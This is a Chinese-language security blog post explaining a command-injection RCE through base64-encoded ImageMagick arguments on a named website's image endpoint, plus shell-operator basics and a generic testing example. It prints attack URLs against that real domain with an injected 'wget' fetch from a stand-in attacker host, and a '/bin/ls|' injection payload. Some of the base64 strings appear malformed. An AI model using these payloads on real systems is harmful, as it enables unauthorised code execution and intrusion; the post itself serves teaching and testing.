通过命令注入来实现的RCE

admin 2024年7月15日11:58:17评论18 views字数 2472阅读8分14秒阅读模式

正常情况下

在没有遭受攻击的正常情况下,该网站的“/system/images”URL用于接收Base-64编码的字符串,这个字符串指向服务器上的某个图片文件,并且可能包含一些ImageMagick的convert命令的合法参数,用以处理图像(例如调整大小、改变质量等)。正常的请求看起来可能是这样:

https://toimitilat.lahitapiola.fi/system/images/BAhbCFsHOgZmSSJIMjAxNy8xMi8wMS8wOF8zNF8zNl80OTNfMDAxMDBfS2Fpc2FuaWVtZW5rYXR1XzFfanVsa2lzaXZ1M19MVF93LmpwZwY6BkVUWwk6BkZlcnRJIiktc3RyaXAgLWludGVybGFjZSBQbGFuZSAtcXVhbGl0eSA4MCUGOwZU

这里的Base-64编码部分解码后可能会是一个合法的路径加上ImageMagick的参数,如 -strip -interlace Plane -quality 80%,这些都是正常的图像处理命令。

受到攻击后

当受到攻击时,攻击者会通过注入恶意命令来修改或扩展Base-64编码的部分。攻击者可能会在合法的命令之后添加如 && 这样的bash命令连接符,随后是一些恶意命令,比如 wget 来下载远程恶意脚本或工具,或是其他能够进一步损害系统安全的命令。被攻击的请求示例如下:

https://toimitilat.lahitapiola.fi/system/images/BAhbCFsHOgZmSSJEMjAxNy8xMi8xNC8xNl8zNF8zNl80OTNfMDAxMDBfS2Fpc2FuaWVtZW5rYXR1XzFfanVsa2lzaXZ1M19MVF93LmpwZwY6BkVUWwk6BkZlcnRJIikgJiYgd2dldCBodHRwOi8vZXZpbC5leGFtcGxlLmNvbS9tYWxpY2lvdXMuc2ggOw==

在这个例子中,Base-64编码部分解码后可能会包含 -strip -interlace Plane -quality 80% && wget http://evil.example.com/malicious.sh, 其中 && wget http://evil.example.com/malicious.sh 是被注入的恶意命令

这种情况下的攻击可以导致服务器执行未经授权的命令,可能会导致数据泄露、服务中断或更严重的安全威胁。

攻击流程

环节1: 构造恶意Base-64编码字符串

原始命令: 在正常情况下,ImageMagick的convert命令可能被用来调整图片质量或格式,例如:

convert -strip -interlace Plane -quality 80 input.jpg output.jpg

这些参数会在Base-64编码后作为URL的一部分。

注入恶意命令: 攻击者在这些参数后添加恶意命令。例如,要添加一个下载命令:

&& wget http://evil.example.com/malicious.sh

这个命令尝试从指定的URL下载一个恶意脚本。

完整的恶意命令:

convert -strip -interlace Plane -quality 80 input.jpg output.jpg && wget http://evil.example.com/malicious.sh

Base-64编码: 攻击者将整个命令行字符串进行Base-64编码。假设编码后的字符串为 Q29udmVydCB-c3RyaXAgLWludGVybGFjZSBQbGFuZSAtcXVhbGl0eSA4MCBpbnB1dC5qcGcgb3V0cHV0LmpwZyAmJiB3Z2V0IGh0dHA6Ly9ldmlsLmV4YW1wbGUuY29tL21hbGljaW91cy5zaA==

环节2: 发送攻击请求

构造URL: 攻击者将编码后的字符串作为URL的一部分发送给服务器:

https://toimitilat.lahitapiola.fi/system/images/Q29udmVydCB-c3RyaXAgLWludGVybGFjZSBQbGFuZSAtcXVhbGl0eSA4MCBpbnB1dC5qcGcgb3V0cHV0LmpwZyAmJiB3Z2V0IGh0dHA6Ly9ldmlsLmV4YW1wbGUuY29tL21hbGljaW91cy5zaA==

环节3: 服务器执行命令

服务器处理: 服务器接收到请求,解码Base-64字符串,然后可能无意识地将其作为命令在服务器上执行。这就允许攻击者的恶意命令运行。

环节4: 潜在的后果

下载并执行恶意脚本: 如果服务器配置允许,下载的恶意脚本可能被执行,进一步损害服务器安全,如安装后门、窃取数据等。

总结与补充

这是一个典型的命令注入的问题

这里补充一些相关的知识点(主要是参考wstg)

基本的一些shell知识点:

cmd1 | cmd2 #只执行 cmd2
cmd1 || cmd2 #只有当 cmd1 执行失败后,cmd2 才被执行
cmd1 & cmd2 #先执行 cmd1,不管是否成功,都会执行 cmd2
cmd1 && cmd2 #先执行 cmd1,cmd1 执行成功后才执行 cmd2,否 则不执行 cmd2
$(cmd)  #当你需要将命令的输出作为另一个命令的参数时。例如:mkdir $(date +%Y-%m-%d),创建一个以当前日期命名的目录,例如2024-05-07

如何测试?

发现一些可疑的参数就可以去测试,这里举一些例子:

正常情况下:

http://sensitive/cgi-bin/userData.pl?doc=user1.txt

注入命令之后:

http://sensitive/cgi-bin/userData.pl?doc=/bin/ls|

原文始发于微信公众号(迪哥讲事):通过命令注入来实现的RCE

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月15日11:58:17
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   通过命令注入来实现的RCEhttps://cn-sec.com/archives/2953769.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息